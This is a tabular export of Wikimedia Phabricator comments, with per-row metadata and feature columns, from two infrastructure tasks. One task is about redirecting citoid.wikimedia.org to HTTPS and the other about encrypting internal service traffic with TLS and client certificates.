108632,http://citoid.wikimedia.org/ should force HTTPS,"https://citoid.wikimedia.org/ works great, but unfortunately so does http://citoid.wikimedia.org/ when really it should redirect.",Medium,50.0,1439241964,1459950054.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-2stu42ot7wllu4sdd6e5,task_description,resolved,True,c3,3,True,False,False,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,"URL works great, but unfortunately so does URL when really it should redirect."
641325,http://citoid.wikimedia.org/ should force HTTPS,"When we moved various *oid to the text cluster as part of the parsoidcache decom, they got forced to HTTPS-only as a side-effect.",,,1459950054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.566666666666667,0.8666666666666667,"When we moved various *oid to the text cluster as part of the parsoidcache decom, they got forced to HTTPS-only as a side-effect."
505791,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526127, @BBlack wrote:
> If you think we can flip the switch now, I'm all for it.

I gather from this that if we flip the switch we have to do it for all of the services? If so, it'd be prudent not to force it just yet. If we can do it just for Citoid, we'd need to gather more info on the consumers. @Jdforrester-WMF - thoughts? Send an announcement to a magic VE or the wikitech list?

>>! In T108632#1526130, @Jdforrester-WMF wrote:
> Quite a few gadgets and user scripts out there. This has been the public URL for months and we've encouraged developers to use it. Deprecating it is fine, but removing it all of a sudden would not be very cool.

Yeah, that's why I was asking.

>>! In T108632#1526149, @BBlack wrote:
> So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.

Hm. The change would involve transforming requests like:

```
curl 'http://citoid.wikimedia.org/api?search=blah&format=mediawiki'
```

into:

```
curl https://en.wikipedia.org/api/rest_v1/data/citation/mediawiki/blah
```

So, we'd need a rewrite that moves data from the query string into the URL. Pretty tricky. But, we might want to allow RESTBase to accept requests like `https://en.wikipedia.org/api/rest_v1/data/citation?search=blah&format=mediawiki` and then internally redirect it to `https://en.wikipedia.org/api/rest_v1/data/citation/mediawiki/blah`",,,1439286316,,PHID-USER-hxwwywcyzpooynxuo7a2,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0.5,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.5,1.0,3.5,8.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,2.5,1.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,11.5,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,15.0,3.0,1.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.5,8.0,4.0,2.5,0.0,0.0,5.5,0.0,1.0,2.0,0.0,2.0,0.5,0.0,1.0,3.490909090909091,0.7181818181818183,"QUOTE
QUOTE

I gather from this that if we flip the switch we have to do it for all of the services? If so, it'd be prudent not to force it just yet. If we can do it just for Citoid, we'd need to gather more info on the consumers.SCREEN_NAME-WMF - thoughts? Send an announcement to a magic VE or the wikitech list?

QUOTE
QUOTE

Yeah, that's why I was asking.

QUOTE
QUOTE

Hm. The change would involve transforming requests like:

``CODE`CODE`CODE`CODEURL"
505632,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526149, @BBlack wrote:
> So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.

Sounds good.",,,1439249864,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"QUOTE
QUOTE

Sounds good."
505630,http://citoid.wikimedia.org/ should force HTTPS,"So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.",,,1439249802,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.114285714285714,0.8285714285714286,"So long as the mapping is trivial (e.g. CODE becomes CODE), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive."
505629,http://citoid.wikimedia.org/ should force HTTPS,"So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`, we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.",,,1439249783,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.205882352941177,0.8235294117647058,"So long as the mapping is trivial (e.g. CODE becomes CODE, we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive."
505622,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526118, @mobrovac wrote:
> Hopefully we will be able to turn off `parsoidcache` soon(TM), which effectively means `citoid.wikimedia.org` would disappear. Instead, Citoid requests would be served by #RESTBase (cf {T108646}).

Oh. :-(

> @Jdforrester-WMF apart from Citoid's extension, are there any other known users of `citoid.wikimedia.org`?

Quite a few gadgets and user scripts out there. This has been the public URL for months and we've encouraged developers to use it. Deprecating it is fine, but removing it all of a sudden would not be very cool.",,,1439249475,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,4.0,0.0,2.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,15.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.618181818181818,0.8,"QUOTE
QUOTE

Oh. :-(

QUOTE

Quite a few gadgets and user scripts out there. This has been the public URL for months and we've encouraged developers to use it. Deprecating it is fine, but removing it all of a sudden would not be very cool."
505620,http://citoid.wikimedia.org/ should force HTTPS,"@mobrovac: the code used to redirect the main sites can be enabled for parsoidcache with the flick of a virtual switch.  We just didn't do it yet because of fears some consumers of the services hosted there (parsoid, citoid, cxserver, graphoid, restbase) not being compatible with the redirects, and there are other bigger fish to fry first :)

If you think we can flip the switch now, I'm all for it.",,,1439249428,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,2.0,0.0,0.0,1.0,2.0,7.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,3.0,0.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,5.0,2.0,1.0,10.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,13.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.883720930232558,0.7674418604651163,"SCREEN_NAME: the code used to redirect the main sites can be enabled for parsoidcache with the flick of a virtual switch.  We just didn't do it yet because of fears some consumers of the services hosted there (parsoid, citoid, cxserver, graphoid, restbase) not being compatible with the redirects, and there are other bigger fish to fry first :)

If you think we can flip the switch now, I'm all for it."
505616,http://citoid.wikimedia.org/ should force HTTPS,"Hopefully we will be able to turn off `parsoidcache` soon(TM), which effectively means `citoid.wikimedia.org` would disappear. Instead, Citoid requests would be served by #RESTBase (cf {T108646}).

@BBlack is there a (possibly-trivial) way to set the redirection up in `parsoidcache`? Given that we'd all like to get rid of it and try to work towards that, does it make sense to set it up at all?

@Jdforrester-WMF apart from Citoid's extension, are there any other known users of `citoid.wikimedia.org`?",,,1439249266,,PHID-USER-hxwwywcyzpooynxuo7a2,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,3.0,0.0,0.0,0.5,0.0,2.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.5,1.5,0.0,6.0,13.5,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,2.5,3.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,5.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,10.0,1.0,1.0,3.5,0.0,0.0,0.0,0.5,8.5,0.0,0.0,0.0,4.5,13.5,6.5,3.0,0.0,0.0,4.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.6280165912518854,0.8056184012066365,"Hopefully we will be able to turn off CODE soon(TM), which effectively means CODE would disappear. Instead, Citoid requests would be served by #RESTBase (cf {T108646}).
SCREEN_NAME is there a (possibly-trivial) way to set the redirection up in CODE? Given that we'd all like to get rid of it and try to work towards that, does it make sense to set it up at all?
SCREEN_NAME-WMF apart from Citoid's extension, are there any other known users of CODE?"
108580,HTTPS for internal service traffic,"Eventually we'll want all HTTP traffic on internal networks converted to HTTPS.  We should ideally be using client certificate auth with this access as well, so that link traffic injection into supposedly-private service endpoints isn't so easy.

The most critical cases are traffic that's currently crossing inter-datacenter WAN links, or will be soon.  However, it's simpler and more-secure in the long run if we just aim to do this for everything regardless of the locality of the traffic sources.

Key cases to work on first:
1. Tier-2->Tier-1 varnish cache traffic - Currently secured by IPSec, but we could drop IPSec in favor of an HTTPS solution and keep things simpler and more standardized.  This is also a relatively-easy target to work out a lot of implementation and puppetization issues before moving on to other cases.
2. Tier-1 -> *.svc.(codfw|eqiad).wmnet - We'll likely have the ability and desire to put user and cache-backhaul traffic through the codfw cache clusters well ahead of when we're ready for multi-DC at the application layer.  This implies codfw cache clusters backending to eqiad service addresses.  The IPSec solution currently used for inter-tier varnish traffic above doesn't work for this case, as the service traffic routes through LVS, but HTTPS would work fine here.

In certificate terms, we'll want to use a new local CA to issue certificates within wmnet.  The idea would be to create SAN-based certs per cluster for the service hostnames offered by that cluster.  For example, mw[0-9]+.eqiad.wmnet machines might share a cert with SAN elements for e.g. appservers.svc.eqiad.wmnet and api.svc.eqiad.wmnet, and the sca cluster machines might have SANs for citoid.svc.eqiad.wmnet, graphoid.svc.eqiad.wmnet, etc...

In case 1, the server-side HTTPS termination can be the same nginx instance used for production frontend traffic, with some additional configuration and/or listeners defined.
In case 2, the server-side HTTPS termination would probably be easiest with a separate inbound TLS proxy (probably a simple variant on the cache clusters' nginx tlsproxy puppet module), so that we don't have to integrate it with all of the server/alias stanzas in the apache configs for now.

In both cases, the primary (most important for the moment, anyways) client traffic source is the varnish instances on the cache clusters.  These don't do outbound HTTPS natively, but I think we can address that by using a local proxy on each machine like [[ https://www.stunnel.org/ | STunnel ]].  For example, instead of varnish defining the appservers backend as direct access to appservers.svc.eqiad.wmnet:443, it would define it as connecting to localhost:12345, which is an stunnel daemon configured to connect to appservers.svc.eqiad.wmnet:443 for it.

Client cert auth would be based on per-machine certificates.  e.g. cp1065.eqiad.wmnet would have a cert for its own hostname for the toubound stunnel proxy to use, and we'd need a local CA that the appservers trust for client certs.  The easiest path for this would be to re-use the puppet machine certs and CA for this, but one issue there is that the last time we re-did the puppet cert infrastructure we inexplicably upgraded them to 4K RSA, which could be too much perf impact for this kind of scenario.  2K would have been better.  If we're going to re-use puppet certs as client certs, it would be best to first to fix the 4K problem.",Medium,50.0,1439214010,1638952336.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-spcngbyufhlv6qsdoqev,False,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_description,resolved,True,c3,3,True,False,False,5,True,0.7142857142857143,0.14285714285714285,0.0,0.14285714285714285,0.5714285714285714,7.0,1.1428571428571428,0.0,0.0,0.2857142857142857,2.2857142857142856,1.5714285714285714,0.14285714285714285,0.0,0.14285714285714285,2.0,0.2857142857142857,5.857142857142857,13.714285714285714,0.14285714285714285,2.142857142857143,0.14285714285714285,0.2857142857142857,0.0,0.42857142857142855,0.42857142857142855,0.0,0.2857142857142857,0.8571428571428571,2.0,0.14285714285714285,3.0,0.2857142857142857,1.0,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.2857142857142857,0.0,0.14285714285714285,0.2857142857142857,2.0,0.0,0.42857142857142855,0.0,0.14285714285714285,0.0,18.714285714285715,0.8571428571428571,1.2857142857142858,0.2857142857142857,1.1428571428571428,0.14285714285714285,0.5714285714285714,0.0,0.14285714285714285,0.2857142857142857,0.0,0.5714285714285714,1.0,0.0,0.14285714285714285,0.0,0.14285714285714285,0.0,5.857142857142857,2.2857142857142856,7.142857142857143,1.2857142857142858,2.2857142857142856,8.428571428571429,0.0,0.0,0.0,0.0,6.428571428571429,0.0,1.2857142857142858,0.0,3.142857142857143,13.714285714285714,4.428571428571429,0.0,0.14285714285714285,0.0,3.142857142857143,0.0,0.5714285714285714,1.5714285714285714,0.14285714285714285,1.1428571428571428,0.7142857142857143,0.7142857142857143,0.8571428571428571,4.274514411027569,0.7211936090225564,"Eventually we'll want all HTTP traffic on internal networks converted to HTTPS.  We should ideally be using client certificate auth with this access as well, so that link traffic injection into supposedly-private service endpoints isn't so easy.

The most critical cases are traffic that's currently crossing inter-datacenter WAN links, or will be soon.  However, it's simpler and more-secure in the long run if we just aim to do this for everything regardless of the locality of the traffic sources.

Key cases to work on first:
1. Tier-2->Tier-1 varnish cache traffic - Currently secured by IPSec, but we could drop IPSec in favor of an HTTPS solution and keep things simpler and more standardized.  This is also a relatively-easy target to work out a lot of implementation and puppetization issues before moving on to other cases.
2. Tier-1 -> *.svc.(codfw|eqiad).wmnet - We'll likely have the ability and desire to put user and cache-backhaul traffic through the codfw cache clusters well ahead of when we're ready for multi-DC at the application layer.  This implies codfw cache clusters backending to eqiad service addresses.  The IPSec solution currently used for inter-tier varnish traffic above doesn't work for this case, as the service traffic routes through LVS, but HTTPS would work fine here.

In certificate terms, we'll want to use a new local CA to issue certificates within wmnet.  The idea would be to create SAN-based certs per cluster for the service hostnames offered by that cluster.  For example, mw[0-9]+.eqiad.wmnet machines might share a cert with SAN elements for e.g. appservers.svc.eqiad.wmnet and api.svc.eqiad.wmnet, and the sca cluster machines might have SANs for citoid.svc.eqiad.wmnet, graphoid.svc.eqiad.wmnet, etc...

In case 1, the server-side HTTPS termination can be the same nginx instance used for production frontend traffic, with some additional configuration and/or listeners defined.
In case 2, the server-side HTTPS termination would probably be easiest with a separate inbound TLS proxy (probably a simple variant on the cache clusters' nginx tlsproxy puppet module), so that we don't have to integrate it with all of the server/alias stanzas in the apache configs for now.

In both cases, the primary (most important for the moment, anyways) client traffic source is the varnish instances on the cache clusters.  These don't do outbound HTTPS natively, but I think we can address that by using a local proxy on each machine like [[ URL | STunnel ]].  For example, instead of varnish defining the appservers backend as direct access to appservers.svc.eqiad.wmnet:443, it would define it as connecting to localhost:12345, which is an stunnel daemon configured to connect to appservers.svc.eqiad.wmnet:443 for it.

Client cert auth would be based on per-machine certificates.  e.g. cp1065.eqiad.wmnet would have a cert for its own hostname for the toubound stunnel proxy to use, and we'd need a local CA that the appservers trust for client certs.  The easiest path for this would be to re-use the puppet machine certs and CA for this, but one issue there is that the last time we re-did the puppet cert infrastructure we inexplicably upgraded them to 4K RSA, which could be too much perf impact for this kind of scenario.  2K would have been better.  If we're going to re-use puppet certs as client certs, it would be best to first to fix the 4K problem."
1829842,HTTPS for internal service traffic,,,,1638952401,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1829841,HTTPS for internal service traffic,,,,1638952349,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1829840,HTTPS for internal service traffic,"Many of the assumptions made when this task was created have changed since the migration to ATS for cache backends (no more IPSec, the difference between Tier1 and Tier2 DCs is now gone, ...). We are now in a world where all backend caches access the origins via TLS, which I think largely covers what we wanted to achieve here. @bblack: I'm marking the task as resolved, but of course feel free to reopen / create other tasks as needed if you think that anything is missing.",,,1638952336,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,335,True,2.0,1.0,0.0,2.0,0.0,4.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,14.0,1.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,4.0,11.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,14.0,4.0,0.0,0.0,0.0,5.0,0.0,4.0,1.0,0.0,2.0,1.0,0.0,0.0,4.010204081632653,0.8163265306122449,"Many of the assumptions made when this task was created have changed since the migration to ATS for cache backends (no more IPSec, the difference between Tier1 and Tier2 DCs is now gone, ...). We are now in a world where all backend caches access the origins via TLS, which I think largely covers what we wanted to achieve here.SCREEN_NAME: I'm marking the task as resolved, but of course feel free to reopen / create other tasks as needed if you think that anything is missing."
1777823,HTTPS for internal service traffic,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,321,True,2.0,0.0,0.0,1.0,1.0,9.5,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,17.5,0.5,1.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.5,2.0,3.5,0.0,2.5,10.5,0.0,0.0,1.0,2.0,1.5,0.0,0.5,0.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,2.5,0.0,0.0,3.8387987012987015,0.8558441558441559,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!"
1634819,HTTPS for internal service traffic,">>! In T108580#6488253, @BBlack wrote:
> $ grep 'replacement: http:' hieradata/common/profile/trafficserver/backend.yaml 
>       replacement: http://puppetmaster1001.eqiad.wmnet
>       #replacement: http://puppetmaster2001.codfw.wmnet
>       replacement: http://contint.wikimedia.org
>       replacement: http://cloudweb2001-dev.wikimedia.org
>       replacement: http://cloudweb2001-dev.wikimedia.org
> ```
> 
> Do we need to clean these up in some new subtasks


This is also already T210411",,,1608224521,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,285,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,48.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.44,0.32,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


This is also already T210411"
1588009,HTTPS for internal service traffic,">>! In T108580#6488253, @BBlack wrote:
> Do we need to clean these up in some new subtasks

Yup, tasks created!

> and/or implement some check to prevent adding new http:// replacements?  @ema?

I think it's enough for now to remember this at code review time and only add a check if we see that in practice new http backends do in fact get added.
",,,1601022338,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,273,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,2.0,4.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.425531914893617,0.8723404255319149,"QUOTE
QUOTE

Yup, tasks created!

QUOTE

I think it's enough for now to remember this at code review time and only add a check if we see that in practice new http backends do in fact get added.
"
1586730,HTTPS for internal service traffic,"All subtasks gone, but there are technically stlil a few edges cases showing up in the trafficserver backend-facing config.  Specifically:

```
$ grep 'replacement: http:' hieradata/common/profile/trafficserver/backend.yaml 
      replacement: http://puppetmaster1001.eqiad.wmnet
      #replacement: http://puppetmaster2001.codfw.wmnet
      replacement: http://contint.wikimedia.org
      replacement: http://cloudweb2001-dev.wikimedia.org
      replacement: http://cloudweb2001-dev.wikimedia.org
```

